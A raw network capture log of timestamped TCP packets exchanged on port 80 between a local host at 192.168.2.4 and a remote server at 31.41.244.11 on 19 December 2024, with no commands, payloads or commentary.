Dec 19, 2024 20:11:12.645148039 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.645215988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.645299911 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.645380020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.646622896 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.646708012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.646739960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.646872997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.648169994 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.648319006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.648328066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.648375034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.649585962 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.649652004 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.649696112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.649805069 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.651036978 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.651091099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.652014017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.652085066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.652555943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.652614117 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.652637959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.652692080 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.654021025 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.654099941 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.654124022 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.654143095 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.655488014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.655580044 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.655625105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.655780077 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.657238960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.657346964 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.657352924 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.657546997 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.658451080 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.658514023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.658557892 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.658776999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.659936905 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.660053968 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.660089016 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.660114050 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.661401987 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.661494970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.661559105 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.661619902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.662843943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.662914038 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.662949085 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.663002014 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.664207935 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.664268970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.664346933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.664413929 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.665623903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.665685892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.665726900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.665796995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.667032957 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.667084932 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.667201996 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.667263985 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.668489933 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.668600082 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.668626070 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.668689013 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.669900894 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.669967890 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.670099974 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.670140028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.671350002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.671418905 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.671435118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.671484947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.672836065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.672889948 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.672915936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.672987938 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.674163103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.674263954 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.674272060 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.674333096 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.675569057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.675719976 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.675733089 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.675784111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.677114010 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.677220106 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.677265882 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.677356958 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.678411007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.678491116 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.678524017 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.678611040 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.679812908 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.679872036 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.679908991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.679986954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.681271076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.681358099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.681422949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.681473017 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.682755947 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.682817936 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.682858944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.682934999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.684111118 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.684161901 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.684273958 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.684322119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.685502052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.685578108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.685602903 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.685662031 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.686889887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.686928034 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.801722050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.801805019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.801836014 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.801887035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.802305937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.802359104 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.802401066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.802448988 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.803420067 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.803500891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.803504944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.803559065 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.804476023 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.804526091 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.804574013 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.804632902 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.805540085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.805618048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.805653095 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.805716991 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.806617022 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.806715012 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.806715012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.806754112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.807673931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.807770967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.807807922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.807807922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.808762074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.808830023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.808921099 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.808984995 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.809767008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.809868097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.809897900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.809964895 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.810889006 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.810933113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.810982943 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.811024904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.811923027 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.812061071 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.812114954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.812161922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.812961102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.813038111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.813041925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.813102961 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.814029932 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.814090967 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.814196110 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.814264059 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.815196991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.815339088 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.815367937 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.815520048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.816102028 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.816198111 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.816319942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.816381931 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.817200899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.817334890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.817349911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.817393064 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.818217993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.818296909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.818362951 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.818411112 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.819300890 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.819365025 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.819394112 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.819446087 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.820317984 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.820380926 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.820413113 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.820646048 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.821402073 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.821456909 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.821532011 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.821599007 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.822407007 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.822478056 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.822537899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.822619915 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.823538065 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.823610067 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.823736906 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.823853970 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.824515104 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.824587107 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.824610949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.824676037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.825561047 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.825673103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.825711966 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.825723886 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.826713085 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.826775074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.826911926 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.826982975 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.827661991 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.827734947 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.827769995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.827848911 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.828728914 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.828823090 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.828826904 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.828896046 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.829788923 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.829879999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.829891920 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.829987049 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.830877066 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.830935001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.830981016 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.831047058 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.831892967 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.831957102 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.832009077 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.832137108 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.832989931 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.833060026 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.833081961 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.833462954 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.833980083 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.834037066 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.834103107 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.834146023 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.835043907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.835124969 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.835163116 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.835212946 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.836085081 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.836160898 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.836230993 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.836297035 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.837146044 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.837215900 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.837300062 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.837344885 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.838203907 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.838269949 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.838309050 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.838396072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.839240074 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.839327097 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.839342117 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.839426994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.840342045 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.840392113 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.840441942 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.840478897 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.841346979 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.841398001 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.841473103 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.841536045 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.842412949 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.842479944 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.842494965 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.842538118 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.843436956 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.843503952 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.843535900 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.843584061 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.844505072 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.844578981 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.844590902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.844670057 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.845675945 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.845746994 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.845752001 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.845906019 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.846864939 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.846878052 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.846945047 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.847687960 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.847768068 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.847793102 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.847879887 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.848815918 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.848879099 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.849047899 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.849261999 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.849796057 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.849864006 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.849925995 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.849972010 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.850996971 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.851042032 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.851169109 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.851247072 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.851907969 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.851991892 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.852010012 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.852061987 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.852916002 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.853017092 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.853041887 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.853373051 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.853981972 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.854041100 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.854079008 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.854132891 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.855010033 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.855118990 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.855149031 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.855251074 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.856095076 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.856197119 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.856205940 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.856256962 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.857142925 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.857213020 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.994035959 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.994123936 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.994230986 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.994297028 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.994419098 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.994499922 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.994906902 CET	80	49768	31.41.244.11	192.168.2.4
Dec 19, 2024 20:11:12.994971037 CET	49768	80	192.168.2.4	31.41.244.11
Dec 19, 2024 20:11:12.995399952 CET	80	49768	31.41.244.11	192.168.2.4
